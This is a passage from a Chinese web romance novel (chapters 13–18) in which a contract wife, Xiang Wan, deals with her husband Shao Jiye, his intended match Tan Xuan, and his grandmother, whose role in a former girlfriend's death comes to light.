他并没有拒绝谭璇的主动亲昵,这让谭璇很是开心,小姑娘像是一只叽叽喳喳的小鸟,兴奋地说着话:“你都不知道,我爸可偏心了,明明我才是亲闺女,他一整天都在问你。”
“问我什么?”
“问你在哪里啊,在做什么,还有……是不是跟你太太在一起。”
说到后面一句的时候,谭璇的声音渐渐低了下去。
邵寂野忽而嗤笑了一声:“问她做什么?又不是什么重要来宾。”
“阿野,她对你来说……”
“摆设而已。”
谭璇微微松了一口气,很快就扬起了微笑:“同样作为女生,我觉得她也不容易,明明你们两个根本就不想爱,偏偏要硬凑在一起,她嫁给你,其实也挺可怜的。”
邵寂野扬声:“嫁给我很可怜?”
“嫁给一个自己不爱的人,还不够可怜吗?”
邵寂野冷笑,说话有些阴阳怪气:“也是,还真是委屈她了。”
谭璇抱着他的手臂轻轻晃了晃:“以后你们要是离婚了,我们多给她一些钱吧。”
邵寂野不置可否:“那你可太小看她了,她可不一定缺钱花。”
两人说着,远处似乎又有人找了过来。
不止一两个,似乎是一群。
“邵总!原来您在这里呀!可让我们一通好找!”
是男人的声音!
向晚心下一乱,微微往洗手间内挪了挪,她不敢转过身来关门,只是用脚尖轻轻踢了一下洗手间的门,想把门关上。
可是邵寂野却不知怎么的,突然往后退了一小步。
眼看着马上就要合拢的门撞在了他身上,然后又吱呀呀的反弹了回来,打开的角度反而更大了一些。
第十三章 人猛瘾还大
门外的人只要稍微往里扫一眼,就能看到此时此刻的她。
向晚顿时又气又急。
他就是故意的!
这是已经跟谭璇好事将近了,所以准备献祭她这个前妻,让她当众颜面扫地,方便之后名正言顺的离婚?
也是,一个被许多男人当众看光的女人,无论如何都配不上“邵太太”这个位置了。
想就这样踢走她?
向晚知道自己迟早要走,也知道邵寂野这个人一贯的冷血狠辣没有人味。
她突然有些恶向胆边生,既然他都给自己戴了这么多顶绿帽子,那她也该回敬一下才对。
被看光光丢脸的不止是自己,还有他这个名义上的丈夫!
向晚对着镜子笑了笑,然后猛地转过身,故意大声开口:“各位……”
砰!
卫生间的门突然被一股大力拉上了。
力道大得向晚觉得自己的耳膜都被震得嗡嗡响。
门被关上后,卫生间里只剩下她一个人,其他人都被隔绝在外。
隔着一层门板,她听到外面有人在询问。
“卫生间里有人?还是个女人?”
“是谁呀?邵总刚刚在这里,难道是跟那个女人在一起?”
“呸!这也太不要脸了!谭小姐还在这儿呢,动脑筋动到谭家来了?!”
“现在的女人真是豁得出去,为了钱不择手段!我刚刚余光里扫到了一眼镜子,里面那个女人可是什么都没穿!”
“嘶——”
有人倒吸了一口凉气。
邵寂野的眼神冷冷地杀了过去:“你都看到什么了?”
那人还不明所以,愤愤地说道:“邵总,你别担心,我亲眼看到了,是里面那个女人不检点,跟您一点关系都没有。就算老谭总问起,我也是一样的说法。”
邵寂野讥讽地说道:“他问起又如何?”
“您跟谭小姐在一起,如果被里面那个女人玷污了名声,总归是不好嘛。邵总您放心,我帮您澄清,保管老谭总绝对不会误会的。”
“老谭总是长辈不假,但他还管不到我的事。”
说完,他皱眉看了一眼身后的门板,冷声道:“老实待着,先别出来。”
谭璇小声问道:“阿野,里面那个女人你认识啊?”
“嗯,我太太。”
邵寂野话音刚落,周围响起了一声声惊讶地抽气声。
邵寂野冷声说道:“不好意思,我太太性格调皮,刚刚跟我闹着玩呢,让各位见笑了。”
楚卫很快赶到了,做了个“请”的姿势:“各位,老谭总那边准备切蛋糕了,还请大家去前厅花园。”
邵寂野发了话,大家开始纷纷往外走。
只是刚刚的话题还是太过炸裂,邵总和邵太太在谭家的洗手间里玩这么大?
不是说邵总十分厌恶她么?
怎么好像也不是传闻中的那么弃如敝履?
向晚在洗手间里等了一会儿,直到听到外面再也没有任何响动,才飞速地把刚刚洗好半干不湿的裙子套上,把卫生间的门拉开了一条缝。
“太太。”
楚卫的声音吓了她一跳。
向晚强行稳住心神:“楚助理,你怎么没去前厅?”
楚卫依旧是那副冷冰冰的样子:“邵总不放心,让我门口守着您。”
向晚讽笑。
他是没料到自己居然选择了破罐子破摔拉他下水,怕她再出什么幺蛾子,才让楚卫在这里看着她吧?
“楚助理放心,如果不是你们家邵总欺人太甚,我也不想这样。”
楚卫微微蹙眉:“太太,邵总心里还是有您的,他也有他的难处。”
“他要让我在所有人面前丢脸,这就是他的难处?”
“邵总不会的,他不舍得。”
“他是不舍得,还是怕名声不好听?”
楚卫说:“太太,您毕竟是邵总的妻子,他无论如何也不会拿您的声誉开玩笑……”
“算了,”向晚止住他的话:“我跟他的关系,你应该最清楚。你的‘太太’还是留给以后叫其他女人吧,我只是一个过客而已,你不用每次都这么郑重其事的称呼我。”
“太太,其实邵总他心里……”
楚卫话说了一半,突然顿住,然后恭恭敬敬叫了一声
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:“邵总。”
邵寂野应了一声,问道:“人还在?”
楚卫点头:“太太还在里面的。”
“你去远点的地方守着。”
“是。”
楚卫快步离开。
随即,邵寂野推开门走了进来。
与此同时,外面响起了喧闹的声音。
应该是老谭总在切蛋糕,大家掌声雷动,人声鼎沸。
向晚问道:“你不去给老谭总祝寿吗?”
邵寂野没说话,只是看着她,从发丝到脸庞,从锁骨再到脚踝。
黑色的裙子沾湿之后虽然不那么透,但湿淋淋地贴在她的皮肤上,勾勒出女人特有的身体曲线。
这件衣服是他凭着记忆选的尺寸。
不过现在看起来,他还是估算的有些保守了。
胸前的布料紧绷绷的,随着她的呼吸一上一下。
可腰间却还是有些宽松了,贴在身上的裙子堆着好几处褶皱。
他的目光微微灼热:“邵太太还在这里等我,我没心思去做其他事。”
向晚看他的神态就知道情况不妙。
这家伙人猛瘾还大。
平时在家里也就罢了,今天该不会真要在谭家的洗手间里做什么吧?
向晚定了定神,觉得应该不会。
这里毕竟是他未来的岳家,就算他再出格,也不能这么胆大。
于是她说:“还是说,要我跟你一起去?”
说着,她迈开步子准备走出去。
可下一秒,她就被一条手臂拦住了。
邵寂野单手撑在门框上,然后身体往前,把她逼回了洗手间内。
紧接着,他的手背到身后,快速关上了门。
反锁。
向晚脑中警铃大作:“你……”
“还想吐吗?”
向晚摇了摇头:“不吐了。”
“漱口了没?”
“刚刚洗裙子的时候已经漱过了,我们走吧,再晚就失礼了……唔——”
唇被毫无征兆的吻住了。
邵寂野搂着她的腰轻轻一带,她就不得不后退了一步,邵寂野趁机欺身向前,把她挤在自己的胸膛和墙壁之间。
第十四章 邵总路子野
他这一搂,两人几乎是身贴着身,她胸口上的水渍已经沾染上了他的烟灰色西装。
向晚有些局促,顿时感觉有点不舒服,她皱眉,抵住他要压下来的胸膛:“别……”
邵寂野却有些等不得了,直接伸手拉开了她后背的拉链,然后重重地吻在了她的锁骨上。
然后缓缓向下。
唇触到了一丝奇怪的触感,邵寂野微微抬起头,盯着她胸前贴着的东西,“这是什么?”
忽而,他凝眸细看,有些疑惑:“创可贴?”
“……嗯。”
“为什么贴创可贴?”
还贴了好几层。
向晚脸色微红:“没准备胸贴。”
“礼服盒子里面也没有?”
“嗯。”
邵寂野偏头骂了句脏话:“楚卫办事真是越来越不牢靠了。”
向晚说:“也不能怪楚助理,他估计也不懂女生的这些东西。”
邵寂野没好气的扫了她一眼:“你倒是对谁都挺大度。”
“没有吧。”
“温甜甜都用热咖啡泼你了,你还想着给她多搞点补偿金。邵太太,你可真善良。”
对于温甜甜,她其实是存着点同情的。
之前邵寂野的女人,她也经手过不少。
有狮子大开口要五百万的,也有目光长远要人脉要资源的。
温甜甜是为数不多的,什么都不稀罕,只要爱情的。
傻,但也确实是真心。
胸前传来一阵尖锐的疼痛。
是邵寂野正在试图撕掉那些创可贴。
可是贴的时间太长,胸前的皮肤很薄很嫩,他稍微一用力,她就疼的惊呼了一声。
“疼……”
邵寂野几乎是立刻就停了下来。
他体内的火苗还在熊熊燃烧,可现在却不得不跟几个创可贴较劲。
他低啐了一口,直接张口含了进去。
向晚顿时脑子嗡地一声。
“邵……你别,这里有水龙头,我用水冲一会儿就行……”
“别动。”
他嘴里有东西,说话含糊不清。
但嘶哑的嗓音已经昭示了他的迫切。
向晚浑身像是火一样烧了起来,几分钟后,他用牙咬着一片创可贴轻轻撕了下来。
紧接着,是第二片,第三片。
再之后,是另一边。
有了他的帮忙,创可贴都被无痛揭下,被他随意吐到一边。
向晚却想起另一件事,她慌乱地推开他的头:“一会儿我怎么出去啊?”
邵寂野哼笑,热气喷在她颈侧:“邵太太,这几天你买了不少天隆的股份吧?”
向晚浑身一僵。
他都知道!
“既然邵太太帮忙提高了邵氏的股价,那我也得投桃报李。”
很快,向晚就知道他所谓“投桃报李”是什么意思了。
老谭总的寿宴上,终究是又闹出了一次大动静。
所有人都眼睁睁看着,邵寂野抱着向晚从洗手间里走了出来。
她全身都被邵总的西装外套包裹着,把脸紧紧埋在他的怀里。
但围观人员太多,难免有几个眼尖的,一眼就看到了向晚脖子上密密麻麻的草莓印。
即便没看到草莓印的,也看到了她凌乱的发丝,还有邵总喉结上那一枚小巧精致的牙印。
邵寂野穿过人群的时候,只是说了一声:“借过。”
随后就抱着向晚离开了酒会。
不远处,谭璇紧咬贝齿,老谭总面色铁青。
……
车子回到浅枫苑的时候,锦绣听到声音,立刻穿好了外套跑了出来:“先生,太太,你们回来了。”
邵寂野先下了车,拉开副驾驶的门,又要去抱向晚。
向晚今天真真切切体验了一把社死。
知道邵寂野路子野,没想到真这么胆大包天,竟然真的在老谭总的寿宴上就胡来。
她用手格挡了一下他的手:“不用了我自己可以。锦绣,你过来——”
邵寂野冷笑了一声,不由分说的把她从车里抱了出来,怕她掉下去还往上掂了掂:“锦绣抱得动你么就叫?”
他大步流星地往别墅里面走。
锦绣已经十分上道了,面对面交错的时候,她已经率先开了口:“先生,我先去酒店了。”
邵寂野哼笑:“给你放三天假,去吧。”
锦绣
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看了一眼向晚,给了她一个“你自求多福”的眼神后,快速离开了。
邵寂野抱着她快速上了楼,进了卧室就直接把她扔上了床,然后开始动手解自己的皮带。
向晚实在是有点吃不消了。
下午在谭家洗手间里闹了好几个小时,外面一波又一波的人敲门,他就是不吭声,一味闷头干活。
向晚也不敢说话,咬着唇硬扛。
好不容易结束了,怎么回了家还要来?
“今天周三。”她提醒道。
邵寂野已经压了下来,在她唇角轻轻啄了一口:“嗯,知道。”
“那你……”
他吻上她的额头,轻柔问道:“你呢,感觉好点了吧?”
向晚点了点头。
“看吧,多运动有助于提高身体素质。”
向晚无语。
这算哪门子的正经运动……
他轻轻握住她抓着西装外套的手,拉开。
外套瞬间散开。
他望着她颈间的粉红色印记,低头吻上去。
向晚轻轻战栗。
“邵……邵寂野……”
“别怕,我在给你治病。”
终于结束的时候,已经晚上十点了。
邵寂野去了浴室冲凉,向晚奄奄一息的趴在床头喘气。
手机亮了一下。
居然是锦绣发来的微信?
【太太,老太太来了,就在客厅。】
向晚赶紧看了一眼时间,八点半发的。
已经过去一个半小时了!
向晚一个激灵,全醒了。
她赶紧从衣柜里重新拿了一套新衣服换上,下了楼。
客厅里,邵老太太静**着,一言不发。
宁姨看到了向晚,低声跟邵老太太说了一句:“人来了。”
锦绣不知道什么时候回来的,此时站在角落的阴影里,对她摇了摇头——情况不妙。
向晚硬着头皮走了过去:“奶奶,这么晚了您怎么来了?”
邵老太太看了她一眼,目光微微发冷。
邵老太太对她以前也不算和颜悦色,但基本是没有敌意的。
但今天,向晚察觉到邵老太太身上带着一股微妙的疏离。
第十五章 名草有主的浪子,是最不可靠的
宁姨问了一句:“少爷人呢?”
向晚说:“他还在洗澡,说是今天被我弄上了一股难闻的味道,一定要洗干净。”
邵老太太微微挑眉:“难闻的味道?”
向晚垂眸轻声说道:“今天去老谭总家的时候我晕车了,到了之后没忍住吐了出来,还弄到了衣服上。邵总怕我给邵家丢人,所以先带我回来了。”
向晚说完,宁姨和邵老太太对视了一眼,彼此交换了一下神色。
邵老太太继续问道:“我突然来浅枫苑,没打扰你们小两口吧?”
向晚乖顺地说道:“奶奶您说笑了。我今天晕车有点严重,回来就睡着了。锦绣,奶奶来了你怎么不叫醒我呢?”
锦绣跟了向远许久,顿时明白了她的意思,顺着她的话往下说:“对不起太太。是老太太心疼您,特意吩咐我不要去吵醒您和少爷,让你们好好休息。”
向晚立刻去泡了一杯茶,老太太不喜欢太重的味道,只喜欢清淡的猴魁。
沸水冲泡后,她端了两杯过来。
一杯放在邵老太太面前:“奶奶您喝茶。”
然后又递给了宁姨一杯:“宁姨您也尝尝,这还是奶奶上次教我的泡茶手法,您看看我的火候。”
宁姨是老太太跟前的人,向晚知道自己该投诚的人是谁。
邵寂野这种名草有主的浪子,是最不可靠的。
床上心肝宝贝地叫,不耽误他床下夹枪带棒的挤兑,更何况他早就预定给了谭璇。
不如邵老太太。
至少作为上司,邵老太太对她的要求很明确,只要能完成她的要求,她老人家还是比较好打交道的。
而且人年纪大了很多事情没法亲力亲为,向晚有很大地可操作空间。
比如说,打发邵寂野那些莺莺燕燕们的补偿费,谈到多少钱是她的本事,报账之后余下来的,就能实打实地进入向晚的腰包。
更重要的是,邵老太太事儿少的多,她只出脑力就行。
不像邵寂野,还得榨干她的体力。
邵老太太浅浅啜饮了一口,表情舒展了一些:“泡猴魁的手法,还是我三年前教你的吧?”
“是的。”
“看来这几年你还是用了心的,味道不错。”
向晚依旧乖觉:“还是奶奶您教导有方,我练了好久,茶汤也只是平平,以后我一定好好练习。”
邵老太太抿了一口就不想喝了:“你谦虚了,这茶汤已经不错了。不过现在是晚上,茶我不能多喝,不然晚上睡眠不好。”
向晚立刻从她手中接过杯盏:“奶奶说得对,是我考虑不周,我帮您放下。”
向晚的一番顺从恭敬的表现下来,邵老太太身上的戾气已经少了大半。
她手里盼着佛珠,轻声问道:“今天下午在谭家,事情传的沸沸扬扬。向晚,我从前让你对阿野上心,是为了不让他再被外面那些野花迷住了。可是如果是谭家的闺女,你就要有点自知之明。”
向晚回答的很快:“我明白的奶奶,您找到我第一天开始,我就知道自己的使命。”
“你知道就好,”邵老太太说:“谭璇是我给邵家定下来的未来媳妇,有了谭家的助力,阿野在事业上能省心不少,说不定能做出比他爷爷和父亲更大的成就。向晚,你是个聪明的孩子,应该明白我的意思。”
向晚当然明白。
今天下午邵寂野闹那一出太高调了。
而且还是在谭家闹的。
等于是狠狠落了老谭总和老太太的面子。
老太太不生气才怪。
宁姨听了一会儿,很多话老太太不好直接问,于是她来代劳:“少奶奶,今天下午在谭家到底是怎么回事?外面传的可凶的,都说你和少爷在洗手间里……太大胆了。”
向晚眨了眨眼睛,状似无辜:“宁姨,现在的人真的很无聊,什么事情都喜欢往邪门歪道上面去想。今天下午就是我晕车了,在洗手间里吐的天昏地暗。邵总找不到我,怕我单独行动不懂上流社会的规矩,给邵家丢了人,所以来找我。结果我衣服上沾了脏污,邵总扶我的时候也沾染上了,我就把我们两个人的衣服大概洗了一下,浪费了点时间。”
宁姨半信半疑:“所以你们两个是在洗手间里……洗衣服?”
向晚苦笑:“
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宁姨,您自己看着长大的少爷您还不了解吗?他哪儿是会自己动手洗衣服的人呀?都是我洗的。洗完之后等衣服干透又耽误了一些时间。可能就是我们两个在洗手间里待的时间太长,所以让外面那些人想入非非了吧。”
向晚说的也的确符合逻辑。
挑不出什么错处。
邵寂野是个有洁癖的,邵老太太和宁姨自然也是知道的。
如果衣服上真的沾染上了她的呕吐物,邵寂野恐怕真的会黑脸。
以他的脾气,绝对不可能穿着弄脏了的衣服出去见人的。
所以命令向晚把衣服洗干净,十分有可能。
宁姨看向了邵老太太,邵老太太沉思了一下,又问了一句:“那阿野抱着你出了谭家又是怎么回事?”
向晚脸色一垮,眉宇间多了些自责和内疚:“这件事也怪我,平时出门我都会吃晕车药的,今天时间赶得及给忘了。衣服好不容易洗干净,邵总担心我还会吐,如果再弄脏衣服就不好了,于是带着我赶紧离开了。我原本是自己走的,但邵总嫌弃我走得慢,所以才抱着我走的。”
向晚指了指楼上:“这不,又开始洗澡了。我都说了,衣服已经洗干净了,但邵总还是觉得抱我的时候沾染上了味道,死活要重新洗。”
她给锦绣递了个眼色。
锦绣机灵,立刻会意,走过来问道:“太太,要不然我去把那几件衣服拿去扔了吧。不然先生一会儿洗完澡,又要觉得有味儿了,我们两个都得挨骂。”
向晚点点头,嘱咐她:“把窗户也打开通通风。”
“好的太太,我这就去。”
锦绣三步并作两步地上了楼。
看着她的背影,向晚才微微松了一口气。
主卧里现在已经是一片狼藉,她的黑色礼服已经被撕成了碎片,邵寂野自己的衣服也扔了一地,还有那一股甜腥的味道……
要是老太太让宁姨上去看一眼,怕是刚刚她说的所有谎都要被戳破。
还是让锦绣早点去收拾一下的好。
此时,邵老太太的声音终于平和了一些:“阿野对你的态度还是不太好?”
第十六章 别动了,乖一点
她是听了锦绣刚刚说的,邵寂野要两个人一起骂。
向晚苦笑了一下:“我一直也入不了邵总的眼,三年了,也习惯了。”
邵老太太叹了口气:“当初他要娶那个白荷,我死咬着不肯,因为这个,他心里一直记恨我,跟我说话的时候嘴上也不饶人。你又是我找来的,他多半还是跟我置气,所以迁怒于你。”
向晚低头,眼观鼻鼻观心,不再说话。
“阿野这个孩子,什么都好,有野心能力强。就是太恋爱脑了,为了那个白荷差点连我这个奶奶都不认了!要是真让那个白荷进了门,以后哪里还有心思做事业?温柔乡就是英雄冢,阿野是我们邵家唯一的孙子,我可不能看着他就这样被一个女人给毁了!”
邵老太太说到动情处,手里的拐杖笃笃地砸着地面,发出一声声闷响。
“好在老天有眼,那个白荷车祸**。不然真不知道阿野要跟我闹到什么时候……”
邵老太太说着,话里的愤怒几乎要掩盖不住。
向晚在一旁听着,心却狠狠沉了下去。
关于白荷的死,她一直觉得过于凑巧了。
邵老太太今天这番说辞,让她心里那颗怀疑的种子更加生根发芽。
只要不是谭璇,无论邵寂野喜欢上谁,谁大概率都要倒霉。
她原本是想拉温甜甜一把,让她多拿钱走人。
谁知道这姑娘是个死脑筋不开窍,现在可倒好,钱没到手,人还进局子了。
而且温甜甜的牢狱之灾,可的的确确是老太太出的手。
“向晚。”邵老太太叫了一声。
向晚应道:“奶奶您说。”
邵老太太声音低沉:“最近阿野跟小璇关系近了些,不像以前那么抵触了。之前你做得很好,把外面那些女人都打发的干干净净,至于后面,希望你再想想办法,让他们两个尽快走到一起。”
向晚没有立刻答应:“奶奶,感情这种事要两情相悦的,这个我恐怕帮不上什么忙。”
“我明白,但你天天在阿野身边,总能给他们两个创造点机会吧?再说了,难道你就真的想一辈子都耗在邵家吗?我看得出来,你是个有野心的孩子,你难道就不想早点结束,拿钱走人?”
拿钱走人?
向晚的眼神闪了闪。
宁姨补充道:“向小姐,老太太已经决定,只要您能想办法撮合少爷和谭小姐,将来您离开的时候,老太太愿意给您这个数。”
她伸出了五根手指。
向晚微微有些惊愕。
当初她愿意跟邵老太太合作,嫁给邵寂野,是因为邵老太太出了医药费把妈妈从死亡线上拉了回来。
她从来没有提过,还会额外再给她一笔钱。
宁姨有些难受:“老太太的时间……不多了。少奶奶,老太太希望能在自己有生之年看到少爷和谭小姐成婚,最好还能抱一抱重孙子,只要你能帮忙,价格还能再谈。”
向晚惊喜不已,但面上却不露。
她现在所有的金钱来源,基本上都是靠当中间商。
老太太让她打发掉那些女人,一百万一个。
她去谈价格,然后赚差价。
但这件事她也不敢做的太出格,每次只抽一两成。
十万二十万的攒起来,一起打给秦叔,让他去买散户手里天隆集团的股票。
但这样还是太慢了。
如果老太太能一次性给她五百万,那可比她一个一个去找那些女人废嘴皮子要划算的多……
“向晚,我的为人你也了解,我说到做到。只要你能把事情办好,钱不是问题。”
向晚刚想点头,就听到二楼传来邵寂野吊儿郎当的声音:“这么晚了,奶奶要让向晚办什么事?你找她还不如找我,说不定我能直接给您办了呢?”
向晚心下微乱,不知道他听到了多少。
锦绣就跟在邵寂野身后,眼睛红红的,有些委屈,似乎哭过。
邵寂野只穿着浴袍,头发上还滴着水,缓缓走了过来,一屁股在沙发上坐下,然后用手指去拨弄向晚垂在身侧的手,温声细语:“累不累?奶奶来了让锦绣来叫我就好,你多睡会儿。”
向晚顿时脑海里警铃大作。
她飞快地退了一步,躲开他的碰触,沉声说道:“我不累,一点都不累。奶奶来了很久了,不能让长辈久等。”
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邵寂野看着她桃花眼闪了闪,轻笑道:“不累?刚刚是谁哑着嗓子求我,说今天太累了让我放过你?”
向晚头皮发紧。
又来了。
这家伙就是存了心不让她好过!
“……邵总放心,工资核算报表我今晚一定加班做出来。刚从谭家回来那会儿确实有点累,现在歇了一会儿,好多了。”
邵寂野薄唇轻启:“报表?我什么时候让你做过报表?邵太太,你可别污蔑我。”
邵老太太原本已经信了向晚。
可邵寂野这么一搅合,话里话外地好像都在说:他们两个不清白。
向晚刚刚装乖了那么久在经营起来的好印象,全都被他几句话打破了。
向晚心里又气又急,偏偏邵寂野还不打算放过她,探身握住她的手轻轻一拉,向晚重心不稳,直接跌倒在他腿上。
她挣扎着要站起来,邵寂野禁锢着她,就是不让。
向晚急的满头冒火,不敢去看邵老太太的表情,只能奋力反抗。
两人肢体纠缠间,邵寂野的浴袍微微散开,露出胸前大片精壮的肌肉。
向晚的手不经意碰到,掌心一片滚烫。
邵寂野握住她的手,放在自己的心口:“别动了,乖一点。”
“阿野!”邵老太太终究是动了怒,在宁姨的搀扶下站了起来,冷冷说道:“你还能看到我就在这里吗?在长辈面前拉拉扯扯的成何体统?!”
邵寂野单手握着向晚两个手腕,另一只手虚虚地搂着她,勾起一边唇角,皮笑肉不笑道:“奶奶,当初可是您让我不要跟外面那些女人纠缠,多看看眼前人。怎么,我现在按照您的吩咐跟邵太**爱亲近,您又不高兴了?”
邵老太太气的脸色铁青:“你少跟我装!你是真心喜欢向晚吗?你故意在我面前跟她亲近,不就是为了气我?”
邵寂野冷笑:“奶奶,我冷落她不是,亲近她也不是,您老的心思可真难猜。”
“邵寂野!”邵老太太气的发抖:“就为了那个白荷,你非要把自己的亲奶奶气死是不是?”
“奶奶,您找人撞死白荷的时候,有想过我是您亲孙子吗?”
第十七章 陪在我身边
向晚猛地抬起头来。
连锦绣也愣了一下,然后看向了她。
两个人的目光在空中交汇,都看出了对方眼中的震惊。
坐实了。
白荷的死,原来真的是邵老太太的手笔。
邵寂野的声音冷到刺骨:“奶奶,您已经老了,控制欲也该收一收了。也许没有您的干预,我跟白荷说不定谈到最后也就分手了。更说不定,没有您的逼迫,我或许真的会跟谭璇接触接触。但是奶奶,我是人,不是您手上的提线木偶。我想做的事,不管谁阻拦,我都会做;我不想做的谁,不管谁强加给我,我都不会退让!”
“你……你反了天了!”
“很不幸,您只有我这一个孙子,如果您觉得我是不孝子孙,要不您再给我生个小叔,到时候邵家的家产我双手奉上。”
“你!你!”
邵老太太脸色突然变得一片苍白,整个人摇摇欲坠。
宁姨吓坏了,飞快去扶她:“老太太,医生说了,你千万不能动气啊!老太太!!!”
邵老太太瘫倒在宁姨怀里,似乎失去了意识。
向晚也不敢迟疑,赶紧飞奔了过去:“奶奶……”
宁姨颤抖着哀求道:“少奶奶,我这儿有速效救心丸,你快给老太太喂一颗。”
向晚赶紧取出药丸,塞进了邵老太太嘴里。
锦绣反应也快,倒了一杯温开水过来。
等了几分钟,邵老太太的呼吸慢慢平缓了下来,眼睛微微睁开。
她是真的老了。
目光里带着古井一般的枯槁,声音沙哑:“你早就知道白荷的死因,是不是?”
不远处,邵寂野已经褪去了一贯的玩世不恭,神色凛然:“白荷刚去世的时候我就知道了。”
邵老太太闭上眼,颓然地笑了一声:“所以这几年,你恨透了我吧。”
“奶奶,这件事你做错了。白荷没有做错任何事,她不应该因此丢掉性命。”
“可是我答应你爷爷了,一定要给你找一个好姑娘,陪着你一起,把邵家发扬光大,我答应他了呀!”
“这也不是您雇**人的理由。白荷只是一个无辜的女孩,她不应该因为邵家的未来断送自己。”
邵老太太悠悠吐出一口气:“我自己做的孽,以后下去了,阎王爷自会清算我,轮不到你一个小子来教训我。这样,我们各退一步吧。”
邵寂野没说话,似乎是等着邵老太太继续说下去。
“你跟谭璇要个孩子,作为邵家的继承人。之后随便你找什么女人,什么白荷黑荷的,我都不会再管你。”
邵寂野冷笑:“白荷已经**,您现在说这些,还有什么用?”
邵老太太指着向晚说:“我不是把她给你找来了么?她跟白荷长得像,你就当她是个替代品,**人,算是我对你的补偿。”
“没有人能替代另一个人。”邵寂野说:“奶奶,我先送您去医院。”
他起身,转头问向晚:“我去开车,你去拿我的衣服,车库门口见。”
说完,邵寂野走了过去,在宁姨的帮助下,背起了邵老太太往外走去。
向晚快速回了一趟主卧,拿了一件新的衬衫和一套休闲装,快速下楼。
临出门前,锦绣拿了一片白色小药片等着她:“太太,避孕药。”
向晚接过来直接吞了,连水都没喝,硬生生咽了下去。
“走了。”
……
医院抢救室外。
抢救室上方的灯光已经熄灭,医生说,邵老太太的情况已经平稳,没有生命危险。
向晚对医生千恩万谢。
一旁的邵寂野却一直木着一张脸,一言不发。
等她送走了医生,协助护士办理好了所有手续,又陪着宁姨一起把邵老太太推去了普通病房休息,走出来的时候,邵寂野还是之前那副姿势,站在走廊尽头的窗边放空。
向晚以为他还在想白荷的事情,陷入了回忆,不想在这个时候打扰他惹他不快。
正准备轻手轻脚地离开,却被他叫住了:“向晚,你过来。”
向晚只得走了过去。
“邵总。”
邵寂野戏谑地哼笑:“我们明明是夫妻,你却弄的仿佛我只是你的老板。”
“……我们又不是真夫妻。”
“领了证,法律都承认,你不承
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认?”
向晚不想跟他斗这个嘴皮子。
心知肚明的事情,两个人都是。
“奶奶许了你多少钱?”
向晚别过脸去:“我听不懂你的意思。”
“从前奶奶只是让你打发掉我身边的女人,你完成的不错。除此之外,她还要让你办什么事?该不会是,让你撮合我和谭璇吧?”
向晚叹了口气。
他还是听到了。
邵寂野说:“奶奶给你多少钱?我双倍给你。”
向晚疑惑:“双倍?”
“嗯。”
“你想让我做什么?”
“不做什么,就……陪在我身边。”
向晚更疑惑了:“你刚刚不是还说,没有人能代替白荷么?”
邵寂野蹙眉:“谁说要让你当白荷的替代品了?”
“那你是让我留下是要做什么?”
“我说了,陪我。”
向晚噗嗤一声笑了:“邵总,这个笑话不好笑。”
他邵寂野是什么人?
只要露个口风出去,多少女人恨不得挂在他身上。
他缺人陪?
“秦以枫……”
邵寂野徐徐吐出了三个字。
向晚猛地抬起头来,看着他。
邵寂野比她高将近一个头,眯着眼睛微微俯视着她:“你爱他。”
不是疑问句,是肯定句。
向晚舔了舔唇:“你调查我没有用,我只是你和你们家老太太之间的一颗棋子,改变不了任何。”
“你是我奶奶的棋子,不是我的。”
“……”
“留在我身边,我就有借口拒绝跟谭璇的婚事。”
向晚不解:“你就这么讨厌谭璇吗?”
“谈不上讨厌。客观点说,谭璇其实人不错,善良单纯,也挺可爱。”
“那你为什么这么抵触她?”
“我讨厌被人操控,”邵寂野的声音在黑夜里透着寒意:“三年前我没有能力,没办法跟我爱的人在一起,甚至她受苦我都只能干看着,什么都做不了。三年后,我不允许这样的事情再发生。”
他低头,再次看向她:“怎么样?双倍酬劳,这笔交易,你答不答应?”
第十八章 他爱女人只会爱一阵子,绝不会爱一辈子
向晚是真的心动了。
五百万的双倍,那就是一千万。
这些钱足够再买回天隆集团股份的30%。
再加上现在秦叔手里持有的,一共47%。
足够她重新进入天隆集团董事会,最起码能跟二叔分庭抗礼了。
更况且,能一直拥有“邵太太”这个头衔,不管是日后操作股票,还是把二叔扫地出门,都更加便捷。
邵寂野见她没说话,暧昧地哼笑了一声:“想好了没有?邵太太,你一贯是会算账的。”
向晚深吸了一口气,问道:“只是待在邵家就可以吗?还有没有什么附加条款?”
邵寂野的眸光突然闪了闪,意味不明地说道:“你说呢?”
向晚咬了咬牙。
“还是每周末两天,对吗?”
“怎么,邵太太嫌少?”
“不是不是,”向晚赶紧摇头:“不少,一点都不少。”
邵寂野这个体格也不不知道随了谁。
之前她还在短视频上刷到,男人过了二十五就是六十。
她刚刚嫁给邵寂野的那一年,他二十八岁。
她安慰自己,也就剩两年了,熬一熬,等他三十了就好了。
可是邵寂野今年都三十一了,那方面的需求不但没有断崖式跌落,反而有些愈演愈烈地趋势。
一周两天她已经有些吃不消了。
再加的话她怕自己真的出师未捷身先死,还没把天隆集团拿回来就得死在床上。
“邵太太。”
“……”
“邵太太。”
依旧没有回应。
看着向晚一脸苦大仇深,大有一副风萧萧兮易水寒壮士断腕的表情,邵寂野眯了眯眼睛:“向晚。”
向晚回过神来:“啊,怎么?”
“邵太太的名头是你非要要的,现在这么叫你你却听不见。”
向晚讪笑了一下:“不好意思,刚刚在想其他的。”
“在想谁?”他顿了顿:“秦以枫?”
向晚摇头,“没有。”
邵寂野的表情里透着一股不相信。
“真的没有。”她又说了一遍。
邵寂野不屑地扫了她一眼:“刚问你的问题,好好想想,尽快给我答复。”
正说着,向晚的余光看到了不远处,宁姨的身影一闪而过。
她舔了舔唇,轻声说道:“知道了,我先进去看看奶奶。”
“嗯。”
向晚走进病房的时候,里面的机器还在滴滴的响。
病床上,邵老太太脸色苍白,原本梳的一丝不苟的盘发也散落出来几根。
看上去有一丝凄惶的感觉。
向晚在心里也唏嘘了几声。
邵老太太要说也算是她那个年代的女强人了。
丈夫和儿子接连去世,她一个人带大孙子,把孙子带的这么优秀,她对邵家可以说是鞠躬尽瘁。
邵家是她的全部。
她不容许一丝一毫的意外。
跟谭家联姻,是她能想到的最好的选择。
只是她也没想到,她亲手养大的孙子实在是能干的过了头,完全不接受她的安排。
“奶奶。”
她走了过去,在病床边坐下。
邵老太太微微睁开眼,看见是她,又缓缓合上了,只是徐徐吐出一口气:“阿野人呢?”
“他……他有事在忙,我先来陪您。”
邵老太太闭着眼睛嗤了一声:“他忙?他是恨透了我,连见都不想见我了。”
“您毕竟是他的奶奶,他还不至于……”
“行了,你不用帮他说话了。你不过就是白荷的替代品,还真当自己是邵太太了?”
邵老太太一盆冷水浇下来,把向晚原本的同情和安慰都浇了个透心凉。
于是她闭了嘴,不再说话。
